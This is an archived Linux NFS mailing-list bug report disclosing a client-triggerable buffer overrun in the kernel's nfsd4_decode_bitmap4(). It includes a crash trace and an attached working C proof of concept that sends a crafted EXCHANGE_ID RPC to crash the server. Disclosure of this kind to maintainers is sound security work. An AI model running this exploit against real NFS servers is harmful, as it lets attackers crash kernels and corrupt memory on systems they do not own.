From: rtm@csail.mit.edu
To: "J. Bruce Fields" <bfields@fieldses.org>,
Chuck Lever <chuck.lever@oracle.com>
Cc: linux-nfs@vger.kernel.org
Subject: NFS client can crash server due to overrun in nfsd4_decode_bitmap4()
Date: Sat, 13 Nov 2021 15:58:42 -0500 [thread overview]
Message-ID: <97860.1636837122@crash.local> (raw)
[-- Attachment #1: Type: text/plain, Size: 1644 bytes --]
nfsd4_decode_bitmap4() will write beyond bmval[bmlen-1] if the RPC
directs it to do so. This can cause nfsd4_decode_state_protect4_a() to
write client-supplied data beyond the end of
nfsd4_exchange_id.spo_must_allow[] when called by
nfsd4_decode_exchange_id().
I've attached a demo in which the client's EXCHANGE_ID RPC supplies an
address (0x400) that nfsd4_decode_bitmap4() writes into
nii_domain.data due to overflowing bmval[]. The EXCHANGE_ID RPC also
supplies a zero-length eia_client_impl_id<>. The result is that
copy_impl_id() (called by nfsd4_exchange_id()) tries to read from
address 0x400.
# cc nfsd_1.c
# uname -a
Linux (none) 5.15.0-rc7-dirty #64 SMP Sat Nov 13 20:10:21 UTC 2021 riscv64 riscv64 riscv64 GNU/Linux
# ./nfsd_1
...
[ 16.600786] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000400
[ 16.643621] epc : __memcpy+0x3c/0xf8
[ 16.650154] ra : kmemdup+0x2c/0x3c
[ 16.657733] epc : ffffffff803667bc ra : ffffffff800e80fe sp : ffffffd000553c20
[ 16.777502] status: 0000000200000121 badaddr: 0000000000000400 cause: 000000000000000d
[ 16.788193] [<ffffffff803667bc>] __memcpy+0x3c/0xf8
[ 16.796504] [<ffffffff8028cf0e>] nfsd4_exchange_id+0xe6/0x406
[ 16.806159] [<ffffffff8027c352>] nfsd4_proc_compound+0x2b4/0x4e8
[ 16.815721] [<ffffffff80266782>] nfsd_dispatch+0x118/0x172
[ 16.823405] [<ffffffff807633fa>] svc_process_common+0x2de/0x62c
[ 16.832935] [<ffffffff8076380c>] svc_process+0xc4/0x102
[ 16.840421] [<ffffffff802661de>] nfsd+0x102/0x16a
[ 16.848520] [<ffffffff80025b60>] kthread+0xfe/0x110
[ 16.856648] [<ffffffff80003054>] ret_from_exception+0x0/0xc
[-- Attachment #2: nfsd_1.c --]
[-- Type: application/octet-stream, Size: 4507 bytes --]
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <arpa/inet.h>
#include <assert.h>
#define NAA 128
unsigned long long aa[NAA] = {
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x100000000000000ull,
0xd00000001000000ull,
0x0ull,
0x0ull,
0xf2616e62ull,
0x40000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int aai = 0;
char obuf[4096];
int oi = 0;
int s; // socket fd
int xid = 1;
void
put32(unsigned int x)
{
assert((oi % 4) == 0);
*(int*)(obuf+oi) = htonl(x);
oi += 4;
}
void
put64(unsigned long long x)
{
put32(x >> 32);
put32(x);
}
void
put_opaque(int n, char *buf)
{
put32(n);
for(int i = 0; i < n; i++)
obuf[oi++] = (buf ? buf[i] : 0);
while((n%4)!=0){
obuf[oi++] = 0;
n++;
}
}
void
put_sid(char *sid)
{
for(int i = 0; i < 16; i++){
obuf[oi++] = (sid ? sid[i] : 0);
}
}
void
put_reset()
{
oi = 4; // leave room for packet length
}
void
send_send()
{
assert(oi >= 4);
assert((oi % 4) == 0);
assert(oi <= sizeof(obuf));
assert(aai <= NAA);
*(int*)(obuf+0) = htonl((oi - 4) | 0x80000000);
printf("writing %d\n", oi);
if(write(s, obuf, oi) <= 0) perror("write");
oi = 0;
}
void
put_rpc_header(int proc)
{
put_reset();
put32(xid++);
put32(0); // mtype=CALL
put32(2); // rpc version
put32(100003); // prog #
put32(4); // prog vers
put32(proc); // proc
if(proc == 0){
put32(0); // cred type
put32(0); // cred len
} else {
put32(1); // cred type AUTH_SYS / AUTH_UNIX
put32(28); // cred length
put32(0); // stamp
put_opaque(9, "localhost");
put32(65534); // uid
put32(65534); // gid
put32(0); // # gids
}
put32(0); // verf type
put32(0); // verf len
}
void
send_nop()
{
put_rpc_header(0);
send_send();
}
void
send_exchange_id()
{
put_rpc_header(1);
// compound header
put_opaque(0, ""); // tag
put32(2); // minor version
put32(1); // 1 operation in the compound
int xoi = oi;
put32(42); // operation 42: EXCHANGE_ID
put64(1); // verifier4
put_opaque(22, "Linux NFSv4.2 poobuntu"); // co_ownerid
put32(0x103); // flags
put32(0); // SP4_NONE
put32(1); // length of client_impl_id
put_opaque(10, "kernel.org"); // nii_domain
put_opaque(4, "blah"); // nii_name
put64(0); // nfstime4
put32(0); // nfstime4
for(int i = xoi; i < oi; i += 8)
*(long long *)(obuf+i) ^= aa[aai++];
send_send();
}
int
main(){
setlinebuf(stdout);
struct rlimit r;
r.rlim_cur = r.rlim_max = 0;
setrlimit(RLIMIT_CORE, &r);
system("exportfs -a");
system("/etc/init.d/rpcbind start");
system("/usr/sbin/rpc.nfsd --lease-time 10 --grace-time 10 1");
sleep(1);
system("/usr/sbin/rpc.mountd --manage-gids");
sleep(1);
system("exportfs -a");
//system("exportfs -v");
//system("rpcdebug -m nfsd -s all");
//system("rpcdebug -m rpc -s all");
s = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sin;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
sin.sin_port = htons(801);
if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){
perror("bind");
exit(1);
}
sin.sin_port = htons(2049);
if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
perror("connect");
exit(1);
}
send_nop();
{
printf("waiting for nop reply\n");
char ibuf[2048];
int cc = read(s, ibuf, sizeof(ibuf));
printf("read %d\n", cc);
}
send_exchange_id();
sleep(2);
close(s);
sleep(1);
}
next reply other threads:[~2021-11-13 20:58 UTC|newest]
Thread overview: 10+ messages / expand[flat|nested] mbox.gz Atom feed top
2021-11-13 20:58 rtm [this message]
2021-11-13 21:06 ` NFS client can crash server due to overrun in nfsd4_decode_bitmap4() Chuck Lever III
2021-11-13 21:25 ` Bruce Fields
2021-11-13 21:31 ` Chuck Lever III
2021-11-13 21:57 ` Bruce Fields
2021-11-14 2:44 ` Chuck Lever III
2021-12-13 2:10 ` Bruce Fields
2021-12-13 4:21 ` Chuck Lever III
2021-12-13 4:52 ` Trond Myklebust
2021-11-13 21:33 ` J. Bruce Fields
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=97860.1636837122@crash.local \
--to=rtm@csail.mit.edu \
--cc=bfields@fieldses.org \
--cc=chuck.lever@oracle.com \
--cc=linux-nfs@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.